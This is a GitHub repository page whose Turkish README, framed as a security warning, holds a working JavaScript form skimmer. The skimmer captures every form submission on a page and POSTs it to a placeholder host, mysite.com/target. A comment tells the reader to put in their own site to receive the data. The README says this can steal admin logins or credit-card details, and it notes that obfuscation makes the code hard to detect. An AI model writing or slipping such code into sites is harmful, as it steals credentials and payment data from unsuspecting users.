https://github.com/fastuptime/adding_open_to_script_front_end
https://github.com/fastuptime/adding_open_to_script_front_end
Last synced: 8 months ago
JSON representation
- Host: GitHub
- URL: https://github.com/fastuptime/adding_open_to_script_front_end
- Owner: fastuptime
- Created: 2023-05-21T23:04:49.000Z (over 2 years ago)
- Default Branch: main
- Last Pushed: 2023-05-21T23:12:26.000Z (over 2 years ago)
- Last Synced: 2025-02-17T09:13:29.355Z (11 months ago)
- Size: 2.93 KB
- Stars: 2
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Adding_Open_to_Script_Front_End
## TAMAMEN BİLGİLENDİRME AMAÇLIDIR BASİT BİR JAVASCRİPT KODUNUN BAŞINIZA AÇABİLECEĞİ SORUNLARI GÖRMENİZ İÇİN
## Kod
```js
document.addEventListener('DOMContentLoaded', function() {
var forms = document.querySelectorAll('form');
forms.forEach(function(form) {
form.addEventListener('submit', function(event) {
var formData = new FormData(form);
fetch('https://mysite.com/target', { // Kendi sitenizin linkini girin dataları oradan alacaksınız
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: new URLSearchParams(formData)
})
.then(function(response) {
if (response.ok) {
console.log('Form bilgileri başarıyla gönderildi.');
} else {
console.log('Bir hata oluştu. İstek durumu:', response.status);
}
})
.catch(function(error) {
console.log('Bir hata oluştu:', error);
});
form.reset();
});
});
});
```
## Ne işe yarıyor?
Yukarıdaki Kod Sayesinde Yaptığınız Front End'e Bir Açık Ekleyebilirsiniz (Tam Olarak Açık Sayılmaz. Sadece Form'a Girilen Bilgileri Kendi Sitenize Post Ediyorsunuz). Bu sayede admin paneli giriş bilgilerinizi veya kredi kartı bilgilerinizi çaldırabilirsiniz. Bu Sebepten dolayı javascript kodlarını inceleyin her bulduğunuz şeyi sitenize direkt olarak eklemeyin.
- Ek olarak
https://obfuscator.io/ üzerinden şifrelenmiş ise kod anlamanız imkansız olur. Sadece geliştirici sekmesindeki ağ kısmından fark edebilirsiniz.
---
- ✨ [Destek İçin](https://fastuptime.com)
- 💕 [Discord](https://fastuptime.com/discord)
- 🎖️ [FasterHost Technology](https://fasterhost.tech/)
- ✨ İletişim için [Tıkla!](mailto:fastuptime@gmail.com)
# License
- Its protected by Creative Commons ([CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/))
